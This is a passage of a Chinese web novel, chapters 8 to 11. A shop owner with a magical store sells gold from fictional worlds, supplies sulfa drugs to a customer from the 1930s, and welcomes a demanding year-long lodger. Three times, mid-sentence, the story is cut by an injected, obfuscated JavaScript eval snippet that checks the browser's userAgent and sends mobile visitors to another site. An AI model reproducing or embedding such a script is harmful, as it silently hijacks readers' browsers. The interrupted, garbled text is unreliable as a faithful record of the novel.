萧妧妧数学再差劲，也隐约有个概念，知道五十两金子能换不少钱，但是具体的数额她一点概念没有。 反复数几次之后，她恍恍惚惚倒在椅子上。 日入六位数这事，还是太小众。 冷水扑脸，冰水下肚，萧妧妧平复激昂情绪，坐在桌前好好吃饭。 吃了两根干巴薯条，她掏出手机点了一份红烧肉和大米饭。 她现在是有钱人了，多加两个菜不过分。 这么想着，她又开了一瓶伏特加，一瓶果汁饮料，兴致勃勃地调果汁酒。 和玉扳指是一个颜色的，看着就很贵，萧妧妧越看越喜欢，一口喝下去半杯。 冰凉口感激得她打了个颤，萧妧妧忽然一呆。 1500克的金子留在手里不兑掉，对贫穷的她而言这笔钱等于没有。 她该怎么悄无声息的变现？ 8. 第 8 章 毕竟不是正儿八经赚来的，萧妧妧总有几分心虚，马不停蹄地寻找附近的黄金回收店铺。 哦，不能是附近的，街坊几十年，三条街内的居民都彼此眼熟，回头消息漏出去，她解释不清。 标记几家店铺等着第二天光顾，萧妧妧暂时把匣子和金子收进系统仓库。 刚坐下打算继续吃汉堡，手机接连弹出来几条消息。 瞥一眼，看见备注后点进对话框。 -妧妧姐，我考上大学啦！ -是南市的大学，我可以去妧妧姐的城市了。 -{图片}{图片} 萧妧妧觉得，今天是她毕业以来过得最快乐的一天。 先是得到系统当金手指，再是赚到了做梦都不敢想的巨款，现在又得知，自己资助了六年的孩子考上大学，迎来昂扬灿烂的新生活。 好消息一茬接一茬，萧妧妧高兴极了。 截屏留作纪念，萧妧妧放大图片去看录取通知书。 自打她上了高中，云招娣从来没主动聊过升学的事，萧妧妧怕她压力大，更不会主动提。 她能做的不过是找到适合她的辅导书以及每个月打去一些生活费。 可她没想过，云招娣会把南市当做目标，还考上了南市的A大。 萧妧妧打出恭喜两字，想着发多少红包合适，余光一瞥，她注意到录取通知书上的姓名。 -招招，你改名了吗？我看到通知书了，是你的新名字吗？ 一直显示信息输入中，但萧妧妧等了两分钟才收到云招娣的回复。 -对，妧妧姐，我改名了，我不喜欢招娣这个名字印在我的录取通知书上，报名考试前去改的。 -妧妧姐，我的名字好听吗？本来想在改名那天告诉你的，又觉得不是什么大事不好打扰你，嘿嘿，正好和录取通知书一起发出来，给妧妧姐一个惊喜。 想到云招娣一直不满自己的名字，以前说过几次改名的事，没想到这么快就实现了。 不去想她经历了什么才能拥有自己的新名字，萧妧妧真心实意的祝贺她。 -妧妧姐的名字是萧妧妧，我的名字是云昭昭，嘿嘿。 看得出来云招娣，不，该叫云昭昭了，她很喜欢自己的新名字。 萧妧妧保存录取通知书的照片，打算让爸妈也高兴高兴，再次瞥到并在一排的两个名字，尘封的记忆在脑海中缓缓呈现。 萧妧妧，云昭昭…… “这也太巧了吧。”萧妧妧惊叹。 她和一本限制级买股文中的角色撞名了，撞得还是一个万人嫌势利眼女配，小心眼子多得她犯密集恐惧症的那种。 当时的同桌听她吐槽后，调侃过几句，催她全文背诵，免得穿书。 萧妧妧不仅没背诵，连看都没看多少就被老妈捉书在床，随手翻了几下扔进垃圾堆。 没想到，云昭昭改了个名，意外的和书中清纯小白花女主角撞上。 萧妧妧，云昭昭……她又默念了两遍，莞尔一笑，抛之脑后。 她的红烧肉来了。 丰盛的晚餐塞得她肚子溜圆，简单收拾好餐桌，已经是晚上九点。 赚了点钱，萧妧妧有点飘，想着反正没生意，不如提前关门。 她得回家一趟，拿几件贴身衣服和适合昏睡少女的衣服。 少女身上的伤口多是在胳膊腿附近，不伤及要害，自家宅子变成凶宅的可能性微乎其微，但以防意外发生，萧妧妧还是打算留在188号过夜。 关上小卖部大门，拉上电闸，萧妧妧又看一眼客房，加快速度从后院大门离开，穿过月牙巷回到家里。 怕吵到自家民宿的旅客，她轻手轻脚进了院子，走了没几步，爸妈房间传来了压抑的争吵。 “……不行，明天我们叫上老李他们一起去，我就不信没办法了。” “哎呀，都人去楼空了，警察也说在查，你叫上一堆人能怎么样？” “萧大明，你搞搞清楚，吃亏的是我们哎……” 萧妧妧躲在外面听了一耳朵，不清不楚，随即敲响房门。 “爸妈，你们没去跳舞啊？” 萧妧妧提前回来，又突然出声，屋子里的老两口吓一跳。 “妧妧回来了？吃饭没有？你婶子送来几包馄饨，我去给你下一碗？” 张芸收敛神色，拉开房门，看到闺女一如往常的关切。 萧妧妧看一眼屋子里，整整齐齐，不像是大吵大闹过，安下心来。 “我在店里吃过了，爸妈，你们说什么呢？我在外面都听到你们吵吵了。” 萧大明慢一步出来，“是不是吵到你了？客人没说什么吧？回头我和你妈小声点，不是什么大事。” 张芸赶紧接话，“对，没什么事，你爸自己溜出去下象棋，叫他过来陪我跳舞推三阻四的，我说他两句，他还不高兴。” 萧妧妧左看看右看看，见他们似乎真的只是拌嘴，更放心了。 她顺口说起今晚要住在188号，又顺口把云昭昭改名和考上A大的事告诉他们。 果然，听说云昭昭要来南市上大学，爸妈挂着的脸总算有一点笑容。 张芸：“小姑娘来南市不容易，你问问是坐高铁还是坐飞机，回头给车票钱打过去，别好不容易考上大学却付不起路费，打多少跟妈说声，妈给你报销。” 萧妧妧暗骂自己太粗心，云昭昭所在的县城离南市千里之遥，肯定要坐飞机的。 正值暑假，机票不便宜，云昭昭找人凑一时间也难凑到手。 “没事的妈，我有钱。” 萧妧妧骄傲拍胸，她现在有很多很多钱。 萧大明指了指闺女背后，问：“你这是忙什么呢？” 萧妧妧往后背一摸，想起来唐刀还在身上，结结巴巴解释。 “没什么，我翻出来擦擦，晒晒月亮。” 张芸这会想起来仔细打量闺女，她拍了拍萧妧妧的衣兜，“装得什么啊，鼓囊囊的，丑死了。” 萧妧妧：“手串，这不是当小卖部老板了嘛，多戴几串显得有气势。” 张芸翻了个白眼，一巴掌拍上萧妧妧胳膊，“又糊弄你妈呢，赶紧回去洗洗，不早了，别熬夜啊。” 萧妧妧嗷了一声，抱着胳膊溜走。 唐刀放回杂物间，手串护身符塞回抽屉，找来旅行包装几件衣服进去，萧妧妧就算收拾完了。 回到188号，昏睡少女仍旧昏睡，点来的白米粥已经冰凉。 萧妧妧看她嘴唇干裂起皮，喂她喝了点水，杂事忙完才洗澡洗头，躺在床上看小说。 点开一本灵异鬼怪题材，裹紧小被子打算沉浸其中，脑海中念头一闪，萧妧妧赶紧退出去，重新在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491433|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' APP里翻找。 她目标明确，着重找主角配角都特别特别特别有钱的那种，还得是古代背景，方便她的商品打出差异化。 “嘿嘿，欢迎你们也来我的小卖部消费，都不白来！” 能来最好，不来也没事，她现在可是有一个龙傲天当金大腿呢。 赚不完，根本赚不完。 睡梦中的萧妧妧控制不住的咧嘴傻笑，她梦见以前看过的霸总们排队光顾小卖部。 大方的顾总递来支票，数不清几个零，“女人，你的店铺我包了。” 强横的傅总邪魅一笑，扔下天价合作协议，“女人，你在跟我玩欲擒故纵吗？” 霸道的厉总甩来一叠房产证，一线城市大别野，“该死，小卖部的商品只能卖给我！” 高冷的季总送来昂贵珠宝，宝石比她心眼大，比她心眼多，“很好，你的小卖部成功引起了我的注意。” 狂拽酷炫的萧妧妧萧总，漫不经心地接下支票、珠宝、合同、房产证。 她扶着额头，似笑非笑地挑眉，“你们这是在玩火。” …… 萧妧妧沉醉在暴富美梦中，另一个世界的龙傲天则是辗转难眠。 回到温泉池附近，龙傲天脱下身上染了血迹的衣服全部丢进池子，血迹稀释殆尽方才唤人进来重新更衣。 收拾整齐，龙傲天连夜召来心腹。 “速速传消息去舅舅家中，让舅舅找个身上有刀伤箭伤的，最好是伤口深些，送进城郊别庄，把这包药粉撒上去，看看药效如何。 切记，这事莫让旁人知晓，连舅舅也不许透露。” 心腹护卫接过小纸包，重重点头，领命离去。 龙傲天等了一会，又借口泡茶，召来母后安排给他的小太监，塞去另一个纸包。 “送去李太医家中，查一查这药粉中都有哪些药材，不管查出来多少，只管写下来送到孤手里，这事很紧要，走漏了风声孤唯你是问。” 小太监双腿一软，连忙跪下磕头。 恰在这时，老太监崔大友交班值夜，龙傲天忽然暴喝，一脚踹倒小太监，骂一句“没用的东西”赶走了他。 崔大友进殿后，龙傲天恢复了往常的架势。 “去问问太子妃，七弟的生辰礼可备好了。” 崔大友恭敬回话，“回殿下，太子妃娘娘已经挑定了七殿下的生辰礼，是一扇双面绣屏。 那绣屏上绣着一黄一白两只猫，与七殿下养了多年的猫儿一模一样。” 负在背后的双手不由紧握，好一会，龙傲天哦了一声，“绣着两只猫儿的插屏？孤有些印象，舅舅年前送来的那扇双面异绣？” 崔大友笑容满面：“正是，殿下好记性。” 龙傲天呵了一声，对这一句好记性不置可否。 “不送屏风了，和太子妃说一声，孤前些日子得了几本古籍，七弟虽爱猫，但更爱读书，想必一定喜欢。” 崔大友瞄了一眼龙傲天，迟钝的唉了一声，去后院传话。 等人走没影了，龙傲天袖子一甩，将书桌上一应物件扫个干净，丁零当啷响。 他颓然地跌坐在椅子上，双眼无神，思绪混乱。 全被萧老板说中了，果真是两只猫的双面绣屏，细节丝毫不差。 生辰礼已然得到验证，下毒构陷还会发生吗？ 9. 第 9 章 第二天，萧妧妧是疼醒的。 脸颊酸疼，有种笑了一晚上的疲惫感。 想到一堆霸总追着自己哭着喊着送钱，醒来后的萧妧妧怅然若失。 回味一番甜美梦境，想着再睡个回笼觉，补上完美结局，刚闭眼躺平，她猛然记起家里还有一个异世界客人。 萧妧妧慌忙弹坐起来，套上衣服出门。 客房静悄悄，少女还在睡着。 也太能睡了吧…… 萧妧妧不放心，走进房间，曲起手指，搁在少女人中附近感受了一下。 还好，有气息，活的。 体温计怼上脑门，还行，正常温度。 看她一时半会睡不醒的样子，萧妧妧索性去前面开门。 早上和中午那阵子最忙，萧妧妧不敢离开，好不容易盼到下午，街道上连车子都少了一些，她挂上牌子出门去。 兑现金！ 出门前她特意检查过，金锭底部的印记是一个兴字。 和萧妧妧所知道的各朝代货币毫无关联，更生不出任何联系。 大兴朝是百万书库之中的某个故事里编撰出来的虚假背景，于是，即便它来自古代，金锭也不存在什么历史价值。 没有历史价值附加，金锭恢复了自己作为货币的属性。 萧妧妧现在需要关心的只有一条，300.1克的金锭撇除杂质后能有多少克。 前面去过一次的融通金可以再光顾一下，只换一锭。 萧妧妧怕工作人员认出，特意戴了全套的防晒装备，低调不起眼。 夏天嘛，满大街都是这么打扮的。 前面都没问题，直到填银行卡号等账户资料的时候暴露了。 工作人员随口一句“前两天是不是才来过”，吓得萧妧妧差点结巴。 好在工作人员很专业，公事公办，并未探究下去。 测重结果出来，融损7克，比萧妧妧预想的情况好很多，她以为古代的技术，起码要损十几二十克左右。 唯一让萧妧妧不太满意的是，今天的金价稍稍跌了一点。 这一锭金元宝换来了183125元。 看到最终打款金额的时候，萧妧妧唯一的一点不满意烟消云散。 之后的四锭，萧妧妧不敢再去融通金，哪怕是隔了半座城的。 账户不变，交易记录是清晰可查的，她跨越半座城市回收黄金的行为，看起来只会更可疑。 从攻略中找到靠谱的老字号黄金回收铺子，萧妧妧依旧一身防晒衣闯了进去。 秤重的时候她多看了一眼，确实很实在，和她在家称出来的重量一致。 大约是私人店铺，比融通金随性许多，老板一边验纯一边和萧妧妧闲聊。 先是夸金锭工艺不错，做的很精致，又问她怎么舍得拿出来回收。 萧妧妧头都大了，顺口胡诌，“老公公司破产了，我拿嫁妆变现，还债。” 老板哎呦一声，附和着安慰几句，不再问下去，转而说金锭。 “融损太高了，是不是家里长辈传下来的？” 萧妧妧拘谨回答，“对对对。” 眼看老板还要再说下去，她果断接通诈骗电话，牛头不对马嘴的一通胡乱应和。 十多分钟左右，三锭金元宝总算验纯完毕，融损一共是23克，平均下来，和在融通金测的数据很贴近。 萧妧妧彻底放心，总说私人店铺容易遇鬼秤，她提心吊胆，一直守在工作台边上没敢离开。 哪怕这家店的回收价比大盘价低了4块左右，萧妧妧心里也是满意的。 最后到手的结算价格一共是544803.3，有零有整。 私人小店铺意外靠谱，萧妧妧临走前和老板打了预防针，下次还会再来。 老板记着萧妧妧立的人设，一时间说不出欢迎再次光临这样的话。 走出店铺，萧妧妧热出一身汗，可看到即将到账的巨款，那点热又不算什么。 最后一块金锭，萧妧妧同样是通过本地攻略，找到靠谱金店进行回收。 到了无人街道，萧妧妧捏着三张单据，九十多万的款项，她实在克制不住，又蹦又跳，发出上不了台面的猖狂笑声。 “赚钱……易如反掌啊。” 回去的路上，萧妧妧现编歌词，哼着走调的小曲。 吭哧吭哧回到小卖部门口，手机铃声响起。 看见备注是佳博的许年华，她手忙脚乱地按下接听。 “许经理？对，我是萧妧妧……真的吗？好的好的，我能理解，应该的应该的，麻烦你了许经理。” 萧妧妧没想到，又是一条好消息。 玉扳指鉴定完毕，鉴定师无法给出具体朝代年份，但是对玉料和雕工给予充分肯定，预展时会标明，疑似马乾老师的早期作品。 许经理怕她失望，提前告知一声，再告知她拍品会送去拍照制作图录。 至于萧妧妧一口咬定的七万起拍价，许经理并未给出什么建议，这让萧妧妧更高兴了。 回到店里，她特意去查了马乾的信息，除了知道他是著名玉雕艺术家外，他的履历作品很难找到准确消息。 萧妧妧想了想，当即下单几本玉石宝石鉴定相关教材，以及珠宝古玩鉴赏书。 以后可能会有很多和玉石珠宝打交道的情况，万一别人拿来什么值钱玩意，她没认出来，做出买椟还珠的事，那可真是闹笑话了。 自己多学点，总不会错，就算学不会，蹦几个专业术语也好唬人，总比一问三不知的好。 这么想着，她点开视频网站，关注几个玉石珠宝圈的大博主，平时刷刷视频顺便学习真实案例。 抱着手机走进店里，萧妧妧脱下防晒衣，摘掉遮阳帽，才喝一口水，又是一通电话打进来。 是快递到了，因为是冷冻货品，快递小哥特意提醒她，以免造成损失。 萧妧妧一听冷冻货就猜到是昨天下单的烤肠和冷饮。 去后院正大门边一看，果然有不少箱子，快递小哥还在核对单号，眨眼工夫又陆陆续续从车上运下来七八个箱子。 连她下单没多久的琉璃摆件都到齐了。 萧妧妧兴奋的脸颊红扑扑，优先把琉璃摆件拆出来。 十三件琉璃制品全部摆放完成，小卖部的空旷地带已经塞满纸箱泡沫盒。 萧妧妧忙得灰头土脸时，“咚咚咚”的敲门声响起。 “老板，我来取东西。” 她挪了挪身子，转向后门位置。 一抬眼，果然是苏娇娇。 她换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491434|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一身棉布旗袍，异常简朴，怯怯地站在门边，怯怯的微笑，双手紧攥包袋。 危急时刻过去，再次光临小卖部，苏娇娇多少有点怕。 说两天果真是两天，苏娇娇意外的守时。 萧妧妧庆幸自己回来的早，没错过。 “苏女士你好，我是不倒闭小卖部的老板，萧妧妧，叫我萧老板或者妧妧都可以。” 看得出来苏娇娇是硬着头皮找来的，萧妧妧为打消她心中疑虑，擦净双手，扬着笑脸走上前，主动自我介绍。 苏娇娇愣了一会，慢吞吞伸出手握上去。 萧妧妧为了拆快递摆商品，室内外来回跑，体温随之上升，手心热乎乎的。 苏娇娇不由捏了捏。 萧妧妧佯装不知她的试探，松开手，熟稔地招呼她。 “你这回是怎么进来的？还是去了死胡同吗？是不是在那里左右各转了三圈才进来的？” 看萧妧妧一边说话，一边从柜台下面抱出电台，苏娇娇长舒一口气，总算安心。 “是，萧老板怎么知道的？” 说完，苏娇娇意识到自己问了个傻问题，额头冒出细密汗珠。 萧妧妧笑着说：“我的小卖部初始进入的方法就是左右各转三圈，苏女士，如果你需要的话，可以为你更改进入方式，比如换成一句话，一个手势等等。 不管你遇到任何情况，在何时何地，想进就进。 当然，在你生活的世界里，这间店铺只有你能看到并进入。” 苏娇娇的目光终于从电台挪到萧妧妧身上，杏眸圆瞪，震惊非常。 明明说的同一种语言，怎么听不懂呢？ 随时随地，且只有她能进，真的不是她做梦、见鬼、出现幻觉了？ 她再次打量这间铺子的年轻老板，“萧老板，你这里，到底是什么地方？” 苏娇娇没能忍住，问出心中疑惑。 萧妧妧想了想，语气依旧平缓温和。 “其实只是一家平平无奇的小卖部，卖点吃的喝的，提供一些日常用品，你可以把这里当做你的……秘密空间。” 萧妧妧把金手指换了一个说法，希望苏娇娇能够理解。 苏娇娇：“为什么是我？我是说……” 大约是脑子发蒙，说话不清不楚，但萧妧妧依旧理解了她的意思。 “我不知道，事实上我比你更意外。” 萧妧妧是真不知道，为什么是苏娇娇，为什么是龙傲天，以及为什么是自己。 如果说三人之间有什么共通点，大概是都长得很好看？ 她一向看得开，想不明白就不想，反正她要钱没钱，要命一条，没什么好损失的。 何况系统确实帮她带来了意想不到的收益。 苏娇娇不知道是怎么理清思绪的，在她几次提问后，已然接受了自己有个秘密空间的事，顺带着修改进入方式。 “这是上次买东西欠你的大洋，你数数。” 你来我往的交流片刻，看出萧妧妧是可信的好人，苏娇娇明显放松下来，不再是刚进来那会紧绷戒备的状态。 她从手提包里抓来一把银元，堆在柜台上。 萧妧妧想说不收银元的，张口欲言时，脑海中有念头一闪而过，要出口的话倏地止住。 10. 第 10 章 苏娇娇所存在的《谍影》世界，和萧妧妧所生活的世界关联非常紧密，和龙傲天的情况完全不同。 金镯子已经够赚了，九枚银元验证她的猜想，不存在亏本的说法。 “好，银元我就收下了，不过我没钱可以找你，我这的货币和你那里不太一样，补你一包卫生巾好不好？” 萧妧妧把话说开，免得后面交易闹误会，补卫生巾则完全是她“夹带私货”。 萧妧妧坚信，一旦苏娇娇体会过安睡裤和卫生巾的妙处，这辈子都离不开它们。 苏娇娇见她沉思，以为什么大事，闻言放下心来。 “都听萧老板的，小卖部帮了我大忙，别说不找钱，多给些也是应该。” 萧妧妧越好说话，苏娇娇越是羞愧，是她小人之心度君子之腹了。 萧妧妧摆摆手，不以为意。 她从货架上挑了一包安睡裤和一包卫生巾，又担心苏娇娇那边穿的衣裳不合适，贴心的安排一包女士内裤。 “既然你付了钱，翡翠耳坠你拿回去吧。” 哪有一样东西收两回钱的，苏娇娇给了银元，她就不能再占翡翠耳坠的便宜，包装袋和翡翠耳坠一起递出去。 “不，耳坠子既然给你了，我就不会收回。”苏娇娇不在意耳坠子，也不在意付了几次钱，接过包装袋，她指了指店铺靠墙的货架，“我可以在你的铺子里转转吗？” 萧妧妧当然是欢迎的，伸手做出请的姿势。 苏娇娇扫视一圈，目标明确，直奔日用杂货区。 萧妧妧瞬间明白过来，她有所求。 苏娇娇求什么，萧妧妧隐约有了猜测，在看到她停在货架某一处寻找着什么时，猜测得到证实。 萧妧妧立即跟上去，为她介绍货架上的商品。 维生素保健食品什么的跳过，她非常有眼色地引导苏娇娇看向中间货架。 “这一排分别是医用棉球，防护口罩，酒精湿巾，棉签，口罩。 这是电子体温计，接触额头就可以立刻测出温度。 旁边的是退热贴，鼻炎喷雾，筋骨贴，风油精，晕车药，防蚊贴……” 萧妧妧每报一个名字就看一眼苏娇娇的反应，只有在听到退热贴和体温计时，她才稍稍流露犹豫神色，犹豫之后是越发昂扬的期待。 直到萧妧妧报完最后一样，苏娇娇肉眼可见的失落，一脸“就这？”的神态。 萧妧妧更加笃定自己的猜测。 “看来这里没有苏女士需要的东西了，或许你可以直接告诉我你的需求。” 苏娇娇尴尬微笑。 萧妧妧不着急，耐心等着，看她双手交握，陷入纠结。 半晌后，苏娇娇似乎下定决心，深呼吸。 “萧老板，你有药吗？” “什么药？治什么病？” 苏娇娇嗫嚅片刻，“磺胺类的药。” 萧妧妧更不意外了，完全猜中苏娇娇的需求。 “我的小卖部虽然不能卖药，但是我确实能帮你买来你需要的药。” 五百米外有一家药店，如果萧妧妧不怕折腾，出门跑个来回就能解决。 不过这回不需要跑。 托老爸萧大明的福，上了年纪后，每隔一阵子去医院开一堆药回来以防万一。 家里的医药箱中恰好有苏娇娇需要的磺胺类药物。 留下一句稍等，萧妧妧扭头跑去客房，医药箱留在昏睡少女身边。 纤细背影转眼消失，苏娇娇的心脏急速跳动，心底的震惊无法用语言来形容。 死胡同被人守了两日，她实在等不及，中途尝试从其他渠道买药。 其中曲折不提也罢，可最后花大钱买来的药却是假的，不仅是假的，还差点招来祸患。 苏娇娇只能把希望寄托在小卖部上。 她老老实实等特务撤离，等到夜深人静，可死胡同就是死胡同，哪里有什么小卖部。 苏娇娇急得不行，差点抱着膝盖哭的时候，暖黄色大门在她面前缓缓打开。 还是那间宽敞明亮的小卖部，道姑头女孩蹲在地上和纸壳子较劲，热得一脑门汗。 “喏，和你那边用的药可能名字不一样，形态也不太相同，但是效果只会更好不会差。 口服外用各一盒，根据病情决定用哪种吧，如果有磺胺过敏史的人，千万不能用。” 到底是用在人身上的，萧妧妧非常谨慎。 她仔细核对过生产日期，又在网上查了磺胺类药物对应治疗的病症，着重和苏娇娇强调过副作用。 苏娇娇恍惚间，萧妧妧已经捧着两盒药从后院回来，细致介绍药物使用注意事项，神情认真严肃。 苏娇娇听着听着，眼眶微红，眼眸渐渐湿润。 这给萧妧妧整不会了，做生意还行，安慰人她不擅长，欲言又止半天，干巴巴挤出一句“女人有泪不轻弹”。 苏娇娇自知失态，抹了抹泪，郑重说道：“谢谢你，萧老板。这些药对我，对我的伙伴来说，非常重要。” 萧妧妧默了默，她能想象到磺胺有多重要，小说电视剧不白看。 “是我应该做的，可惜也只有这么多，再多我就没办法了。我们这里对药物管控挺严的。” 一盒两盒容易，一百盒两百盒不是她能办到的。 苏娇娇连连点头，眼泛泪花，唇角却是带笑，“够了够了，已经帮上很大的忙了。” 她低头翻找包袋，拿出一团帕子。 捏着角儿打开帕子，躺在正中间的是两条短胖的金条。 萧妧妧连忙推开她的手，“你上回给的金镯子足够支付药钱了。” 苏娇娇坚持，“镯子是保管费，和药无关。两根小黄鱼买你两盒药，是我占了大便宜，你必须收下。” 苏娇娇这个名字先入为主给人一种娇弱敏感的想象，而面前活生生的苏娇娇和她名字带给人的印象则相反，温柔之中有几分爽快，更有几分侠义和血性。 不容萧妧妧拒绝，两根金条拍上柜台，苏娇娇干脆利落地转身。 “萧老板，我必须要离开了，我的同伴急需用药。” 来如风，去无踪，苏娇娇拿到药，脚步都轻快了，留下一句话，小碎步跑到后门。 萧妧妧伸出的手连人家衣角都没能抓住。 呆滞两秒，她低头看着柜台上的两根小金条，约有食指那么长，拇指那么粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491435|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 拿到灯下仔细看，上面划痕颇多，可见是频繁交易留下的痕迹。 除了划痕，倒是没有什么明显的印记。 找来电子秤一秤，电视里才见过的小黄鱼竟然能有49克。 按理说应该是50克一根，可几经转手磨损后，只剩下49克，如果算上融损，还要再少一点。 粗略一算，两根小黄鱼一共99克，大约是……六万！ 萧妧妧呼吸稍重，很快接受了自己到账六万的事实。 和前面十几万几十万的单据相比，六万不算很多。 不多，但也是钱，萧妧妧大方地抽出一根猫条，献给C位上的镇店之宝——招财猫，而后双手合十，念念有词。 金条和翡翠耳坠一并收进空间，三两下收拾好店铺，萧妧妧总算可以研究九枚银元。 放大镜在灰扑扑银元上方走了个来回，没等细看，裤兜里的手机嗡嗡嗡震。 “妧妧啊，你在店里吗？”电话那头传来张芸的声音。 萧妧妧放下放大镜，专注回话，“在呢，怎么了妈？” “妧妧，咱家民宿有个订了一年房的住客，之前跟你提过的，今天入住，人已经在地铁口了，外地人不认路，你要是不忙去把人领回来，忙的话我让别人去接一下。” 有正经事要忙，萧妧妧顾不上看银元，一股脑收进空间。 “知道了妈，我现在不忙，店里面有自助付款，离开一会没事的。” 张芸一听，忙把住客信息告诉她，“住客姓季，男的，说是穿的白T灰裤子，就在3号口等着呢。” 萧妧妧哎了一声，挂断电话去后院洗了手，撑起防晒伞出门。 小卖部距离地铁口不远不近，300米不到，正是一天中最热的时候，哪怕打伞也不能阻止热浪扑来。 3号口附近，除了来往行人并无人愿意在户外逗留，萧妧妧一眼看到一身白T灰色运动短裤的男人。 “是在春山居订了客房的季先生吗？”萧妧妧小跑上前询问。 白T灰裤男听到声音，转身走下台阶。 “是我，辛苦你跑一趟。” 萧妧妧这才看到正脸，半长发微卷，戴着墨镜，锁骨附近隐约有纹身露出，脖子上挂着很重的相机。 等他站在地面上，萧妧妧嚯了一声，好高啊，一米九了吧？ 萧妧妧身高有一米六八，在他面前说话还得仰头，未免颈椎受累，她迈开半步站远些。 “不辛苦不辛苦，我们家民宿在月牙巷深处，确实不好找。” 萧妧妧客气两句，看一眼他手上唯一的旅行包，引着他往月牙巷走。 三百米又三百米，到了巷子口，还得挤开游客继续走五百多米。 萧妧妧强忍暑热带来的躁意，带他穿街过巷，介绍附近特色和好吃好玩的去处。 季先生过份礼貌，她每介绍一两句就要应一声谢谢，谢得她都不好意思多说。 张芸早早等在门口，热情接待包年住客，萧妧妧自觉让开，一屁股坐在沙发上，吨吨吨喝掉半瓶水。 不行了，大夏天走这一段路实在折磨。 萧妧妧当即决定，忙完这一阵，买车！ 11. 第 11 章 张芸完成登记，萧大明领着住客上二楼。 难得是包年住客，且是线下订房，没让第三方抽走分成，夫妻俩很高兴，安排了最大最豪华的房间。 张芸踮脚看一眼，没影了才凑到闺女身边小声蛐蛐。 “小伙子长得真帅气，像那个电视剧里面的忧郁美男，刚刚给你使眼色让你看几眼，光知道喝水。” 萧妧妧对帅哥没兴趣，双腿一蹬，毫无形象地瘫倒在沙发上。 “你小声点，让我爸听见又得吵几句。” 张芸撇撇嘴，说起正经事，“后天我和你爸要去旅游，跟前街的老李夫妻俩和你崔婶一起，报的老年团，去五六天吧。” 萧妧妧歪头，狐疑看向老妈，“你和我爸？出去旅游？不会是骗你们去购物吧？” 不怪萧妧妧怀疑，爸妈一向舍不得花钱享受，别说在他们看来是花钱找罪受的旅游。 “我和你爸有几个钱购物？别瞎想，正儿八经的旅游团，后街旅行社报的名。” 萧妧妧一听，放下心，那确实是正儿八经的旅游团。 张芸想到要离开这么久，不放心，仔细安排。 “房间都订出去了，登记的事请你赵婶看着，其他不变。 你好好管着小卖部，要是方便，帮忙去地铁口接一下住客。 事情不多的，回来妈给你算工资。” 萧妧妧听了一会，好像真不需要她做什么，还有钱拿，一口答应。 正想问老妈怎么想起来出去旅游，萧大明风风火火跑进来。 “妧妧，你来帮忙看看，201季先生要什么矿泉水，英文名的，我看不懂，说是以后要提供这个水，多出来的费用他来付。” 萧妧妧接过手机一看，立即认出品牌。 “爸，这水不便宜呢，一瓶80多块，没弄错吧？” 萧大明摇头，“不会错，那个季先生自己输的。” 萧妧妧指着备忘录后面的零碎词组，问：“这写的是什么？” 萧大明看一眼，回忆一会，“哦，住客不喜欢书桌的颜色，让找块浅色桌布遮一下来着。还说空调有异味，要找师傅上门看看。 对了，房间里面的熏香味道他不喜欢，要换成什么木头味的，喏，牌子写下来了。” 张芸唰一下跳起来，“空调有味？不能啊，新换的空调，这一年都没歇过，没人说有异味啊。” 萧大明大声道：“客人说有能怎么办，联系师傅上门呗。 201的住客要换蚊香液，没味道的那种。 还得送一台很亮的台灯过去，说是主灯太少了，暗。 妧妧，你知不知道检查摄像头的仪器啊？ 201住客要求咱们提供仪器，当着他面检查房间。” 萧妧妧每听一句，眉头更皱一点，实在是太细致了，真记不住。 张芸也不觉得那张脸帅气了，啧啧两声，“怕不是来了个祖宗。” 201是民宿配置最好最宽敞的房间，有衣帽间有露台有书房，凡是住过的旅客给出的评价都很高，否则夫妻俩也不会特意留出这间房给那位大方的包年住客。 检查摄像头很正常，细致到更换熏香蚊香液以及矿泉水品牌，少见。 “只要不说重新装修，那都好办，换几样东西，不麻烦，”萧大明摆摆手，说出大实话，“他给得太多了，挑剔一点应该的。” 给钱就行，萧妧妧放心了，用同城跑腿服务完成了采购。 只等东西送上门，萧妧妧教爸妈怎么用仪器。 张芸一脚踢上闺女小腿肚，“老实坐好，回头让人看见了笑话你。” 萧妧妧无奈叹气，撑着沙发身体往上一缩，双腿并拢，脊背挺直。 张芸看她装模作样，斜了闺女一眼，回去处理订单。 张芸一离开，萧妧妧马上歪倒，掏出手机，了解银元品种。 正看得头昏脑胀，门外喇叭滴滴滴响。 萧妧妧走到门口，恰好碰到跑腿小哥拎着东西过来。 她接下袋子，转身时注意到斜对门的院子门户大开，不算宽敞的巷子里停了两辆大车，车上满当当的家电。 